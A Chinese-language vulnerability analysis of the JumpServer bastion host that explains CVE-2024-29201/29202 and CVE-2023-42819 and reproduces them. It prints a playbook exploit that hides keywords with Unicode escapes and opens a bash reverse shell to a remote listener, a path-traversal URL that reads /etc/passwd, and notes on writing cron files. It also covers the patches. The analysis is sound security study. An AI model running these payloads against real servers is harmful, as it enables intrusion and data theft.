堡垒机
堡垒这个词源于军事,是防御用的坚固建筑物。延伸到网络安全领域,堡垒机相当于一个安全设备。简单来说,就是集中管理用户对内部网络资源的访问(如服务器、数据库等)。
最开始的堡垒机是一台配置严格的UNIX服务器,通过限制外部用户可以访问的服务、使用强认证机制、记录所有的访问行为等措施,来保护内部网络。后来随着远程办公等需求的发展,堡垒机也随之支持SSH、RDP等远程访问功能。堡垒机的功能简单来说,被归纳成了5个W。来访者是谁(Who)、何时来的(When)、什么权限(Which)、要去哪儿(Where)、去了之后做了什么(What)。实现“事前授权、事中监控、事后审计”。
Ansible
Jumpserver的Core源码中有个OPS模块。OPS一般指运维。Ansible就是自动化运维工具之一,在jumpserver对应的功能是“作业中心”。
堡垒机的主要作用是集中管理和审计对于资源访问。而管理各类资源需要用到自动化运维功能,就引入了Ansible。有了它无需在远程资源上安装任何脚本,就可以通过SSH实现远程控制,并执行自动化任务。
Ansible执行任务的核心组件之一就是Playbook。它是用YAML语言编写的脚本文件。简单来说就是Playbook是剧本,定义了具体有哪些任务,在哪里执行、执行步骤是什么。而Ansible负责解析剧本并执行相应的操作。
官方给的一个更新web服务器的Playbook如下,定义了执行任务的用户root,资源位于webservers组中的,tasks包含两个要执行的任务。
- name: Update web servers
hosts: webservers
remote_user: root
tasks:
- name: Ensure apache is at the latest version
ansible.builtin.yum:
name: httpd
state: latest
- name: Write the apache config file
ansible.builtin.template:
src: /srv/httpd.j2
dest: /etc/httpd.conf
在 JumpServer 的 Web 界面中可以集中管理、执行Ansible Playbooks并且会记录所有 Ansible 操作的执行日志。
从jumpserver的页面上可以看到用户可以在模版管理模块编写playbook(任务),然后在作业管理模块中创建作业,添加Playbook、选取要执行任务的资产、执行的用户身份等。接着可以选择“定时执行”、“保存后执行”,或者随时点击这条作业单独执行。
业务与漏洞
jumpserver作为堡垒机,本身集中对多台主机资源进行管理,每个用户绑定了对应的资产(主机、设备、数据库、Web等)。所以在这种应用场景下,挖掘漏洞要知道漏洞和业务的区别是什么。
为什么要先提这件事,因为CVE-2024的两个漏洞都是在作业中心编写的Ansible playbook中执行了代码,而作业中心还可以直接执行快捷命令,那是否也是一种漏洞呢?
可以看到快捷命令最终是在用户绑定的远程服务器上执行的。而堡垒机本身就是提供对主机资源管理的。所以这是一种正常的业务。但如果用户可以在非绑定的主机上执行命令,超出了授权的范围,就是一种漏洞。甚至要是在jumpserver堡垒机所在的服务器上执行的,更是一种漏洞。
对于Ansible Playbook也是一样,要区分什么是业务,什么是漏洞。理论上Ansible本身的功能就是要在指定的资源上执行自动化脚本,例如下发给指定机器进行系统升级的命令。但是如果Ansible给堡垒机本身所在的服务器进行命令的下发,并且不是admin用户操作的,那么就是一种漏洞。
CVE-2024-29201 & CVE-2024-29202
分别看一下两个漏洞的描述,两个RCE漏洞漏洞很类似,只不过CVE-2024-29201是用的Playbook语法,CVE-2024-29202用的是Jinja2语法。
漏洞描述中有两个点需要关注,一个是CVE-2024-29201绕过了Ansible的输入验证机制。第二个是Celery容器中执行代码(Celery是Python开发的分布式任务调度模块)。上面说到要区分业务和漏洞,所以就会思考第二个问题,代码执行在了Celery容器中,为什么算是一种漏洞?
[CVE-2024-29201] Attackers can bypass the input validation mechanism in JumpServer’s Ansible to execute arbitrary code within the Celery container.
https://github.com/jumpserver/jumpserver/security/advisories/GHSA-pjpp-cm9x-6rwj
[CVE-2024-29202] Attackers can exploit a Jinja2 template injection vulnerability in JumpServer’s Ansible to execute arbitrary code within the Celery container.
https://github.com/jumpserver/jumpserver/security/advisories/GHSA-2vvr-vmvx-73ch
playbook
根据特定语法执行代码的漏洞有很多,比如python的Jinja2,java的Struts2等,这类漏洞首先要了解相关语法的特性。根据语法特性找到可以构造代码执行的方式。语法参考官方文档:https://docs.ansible.com/ansible/latest/reference_appendices/playbooks_keywords.html
常见的关键字包括:name(剧本名称)、hosts(剧本执行的目标列表)、tasks(剧本的任务列表)等。如果要想RCE,就需要找到能执行命令或者代码的关键字。进一步查询相关的模块,找到了如下的关键字:shell
、command
、script
(如果是Windows系统下,前面要统一加上win_
,例如win_shell
)
shell: cat < /tmp/*txt
command: cat /etc/motd
win_shell: echo %HOMEDIR%
script: /some/local/script.sh --some-argument 1234
根据官方文档https://docs.ansible.com/ansible/latest/collections/ansible/builtin/shell_module.html。shell
关键字通过/bin/bash
在远程主机上执行命令,command
和shell
很像,区别如下
- The command(s) will not be processed through the shell, so variables like
$HOSTNAME
and operations like"*"
,"<"
,">"
,"|"
,";"
and"&"
will not work. Use the ansible.builtin.shell module if you need these features.
测试用command
创建空文件如下。只是上面提到command无法使用shell特性(如重定向、管道等)相关字符,所以没有shell
适用性广。
测试通过shell
创建文件,如下,可以看到shell
等字段确实能执行代码,但是还是在作业绑定的目标资产下执行的。这本身还是个业务范畴。如果想要成为漏洞,需要能在堡垒机本身所在的服务器中执行。
所以这里攻击者在构造poc时加入了connect的限制字段delegate_to: localhost
和ansible_connection: local
,让任务在本地执行。参考:
https://docs.ansible.com/ansible/latest/inventory/implicit_localhost.html
复现
CVE-2024-29201复现时由于我是采用docker搭建的,而docker中无法查看到celery容器。所以用反弹shell的payload,远程服务器nc -lvvp 8080
开启监听,一旦收到反弹shell直接进入到对应的执行容器中。
先在“模板管理->playbook管理->创建playbook”,粘贴payload如下
[{
"name": "RCE playbook",
"hosts": "all",
"tasks": [
{
"name": "this runs in Celery container",
"shell": "/bin/bash -c 'bash -i >& /dev/tcp/ip/8080 0>&1'",
"\u0064elegate_to": "localhost"
} ],
"vars": {
"ansible_\u0063onnection": "local"
}
}]
然后点击“作业管理->创建playbook作业->运行”,可以看到vps上收到了反弹shell。
然后将playbook中的payload改为id > /tmp/pwnd
,再次运行作业。文件成功落地。
CVE-2024-29202复现时只需要将playbook的内容换成jinja2语法即可。
需要注意,任务运行时会报错如下,但是并不影响实际运行。
Ansible限制绕过
在漏洞描述的时候,提了两个关注点,第一个是CVE-2024-29201绕过了Ansible输入验证机制“bypass the input validation mechanism in JumpServer’s Ansible”。
其实从poc中很容易看出用Unicode编码绕过了限制。测试如果不用Unicode,会出现如下的报错。也就是说jumpserver本身对一些危险的关键字做了限制,而攻击者构造payload时用Unicode编码绕过了。
在源码中搜索dangerous keyword
字段,可以对应到这个报错的源码位置—apps/ops/models/job.py
(关于作业管理的功能路由均以ops/job
开头)
check_danger_keywords()
方法位于apps/ops/models/playbook.py
,用于检查指定工作目录(self.work_dir
)中的 YAML 文件(Playbook脚本)是否包含危险关键字。一旦匹配到关键字,返回包含文件名、行号和关键字的结果列表。跟进方法可以找到关键字列表。
将核心代码提取出来进行测试,unicode编码后确实无法在in
时匹配dangerous_keywords
。Ps:提取代码的时候需要注意,虽然poc中是\u0064
,提取代码在测试时需要写成\\u0064
。因为代码里面双引号里面的\
是特殊字符,不代表\u0064
本身的\
这个字符。
celery容器
解释完漏洞描述中的第一个点,来说一下第二个点。为什么Celery容器中执行代码算是漏洞。
Celery是一个分布式任务队列系统,主要用于实时处理工作任务。它通常与消息代理(如 RabbitMQ、Redis)一起使用来调度和运行任务。那么就可以用来调度Ansible Playbook的任务。如果Celery的工作节点在容器中运行,而节点调度的是Ansible Playbook,那么也就意味着任务的确是在堡垒机本机的服务器上执行的,而非目标资源中执行的。
在job.py
中可以看到如下的代码,task是在celery中执行的。
from celery import current_task
def set_celery_id(self):
if not current_task:
return
task_id = current_task.request.root_id
self.task_id = task_id
补丁修复
https://github.com/jumpserver/jumpserver/commit/adbd73182b50a80ae6c80760133d61f164de27b1
补丁修复的思路依旧是限制Playbook在本地lcoal执行。增加了一个Playbook的执行器SuperPlaybookRunner
。将它的LOCAL_CONNECTION_ENABLED
设为1,也就是允许本地访问。在job.py
中还是用原有的执行器PlaybookRunner
,但是限制了该执行器的本地连接。而manager.py
中采用新的SuperPlaybookRunner
,允许本地连接。
CVE-2023-42819
其实这个漏洞和Ansible本身没什么关系,但是由于也是Jumpserver在处理Playbook时的问题,一起放在这篇写了。这是由于os.path.join()
路径处理问题造成的一个任意文件读取/上传漏洞。
https://github.com/jumpserver/jumpserver/security/advisories/GHSA-ghg2-2whp-6m33
An attacker can exploit the directory traversal flaw using the provided URL to access and retrieve the contents of the file. URL Like https://jumpserver-ip/api/v1/ops/playbook/[playbookId]/file/?key=…/…/…/…/…/…/…/…/etc/passwd
漏洞复现:创建一个普通用户,登录普通用户的账号,左侧会有作业中心,在模板管理 -> Playbook管理 -> 创建Playbook
,生成一个Playbook,查看它的ID,然后访问url即可读取任意文件。
官方修复:https://github.com/jumpserver/jumpserver/commit/d0321a74f1713d031560341c8fd0a1859e6510d8
整体的修复都是将os.path.join()
换为Django提供的safe_join()
方法。前者是个很典型函数。python容易造成任意文件读取漏洞的写法如下
# open
file_path = input("请输入文件路径:")
with open(file_path, 'r') as f:
data = f.read()
# os.path.join
directory = input("请输入目录名:")
file_name = input("请输入文件名:")
file_path = os.path.join(directory, file_name)
with open(file_path, 'r') as f:
data = f.read()
这个漏洞的代码逻辑是获取key参数的值,和work_path
进行拼接,然后读取这个拼接后的路径文件的内容。由于没有对路径进行限制,可以读取任意文件。
work_dir = os.path.join(settings.DATA_DIR, "ops", "playbook", self.id.__str__())
DATA_DIR = os.path.join(PROJECT_DIR, 'data')
work_path
路径理论上值应该为/[project_dir]/data/ops/playbook/[playbookId]
,那么拼接后想要读取/etc/passwd
,需要用../
进行跨目录。
但os.path.join有个trick。它是根据操作系统的路径分隔符来拼接路径的片段,但是如果传入的片段包含绝对路径时,它会将绝对路径之前的片段忽略。看一下以下三种方式的结果比较。只要有绝对路径,前面的拼接就消失了。
result = os.path.join('/var/www/html', '/etc/passwd') # /etc/passwd
result = os.path.join('/var/www/html', '/etc/passwd', 'static') # /etc/passwd/static
result = os.path.join('/var/www/html', '/etc/passwd', '/static') # /static
但这里存在一个问题,什么样的路径会被系统认为是绝对路径。
# 类Unix系统(Linux和MacOS)
绝对路径:以 / 开头的路径被认为是绝对路径。例如,/etc/passwd。
相对路径:不以 / 开头的路径被认为是相对路径。例如,static/file.txt。
# Windows系统
绝对路径:
以驱动器号开头的路径,例如 C:\Windows\System32
以反斜杠(\)开头的路径,例如 \Windows\System32。
带有UNC前缀的路径,例如 \\Server\Share\Folder\File.
在Linux系统下只要以/
开头就认为是绝对路径。所以只要/etc/passwd
是最后一个片段,即可忽略掉前面所有的路径。所以此处key=/etc/passwd
也可。
上面这个get函数位于PlaybookFileBrowserAPIView
类,查找该类的路由apps/ops/urls/api_urls.py
,内容如下
app_name = "ops"
path('playbook/<uuid:pk>/file/', api.PlaybookFileBrowserAPIView.as_view(), name='playbook-file'),
视图由api调用,api的整体路由如下。拼接起来即可。
POST方法拥有同样的问题,接收key的参数值,然后和work_path
拼接。如果此处我们采用绝对路径,full_path
就是key传入的值。如果is_directory
为false,那么会认为是一个文件,将content内容写入进去。
在linux下文件写入的利用方式一般写入到定时计划中,复现如下。
这里需要注意,一开始没有传入X-CSRFToken
头部,出现了报错
{"detail":"CSRF Failed: CSRF token missing.","code":"permission_denied"}
搜索jumpserver中的csrf字段,一般在js中设置头部,定位到apps/static/js/jumpserver.js
,Header需要设置为X-CSRFToken
,其值为${prefix}csrftoken
的值。
前缀的定义位于apps/jumpserver/settings/base.py
,为jms_
。X-CSRFToken
的值即为jms_csrftoken
的值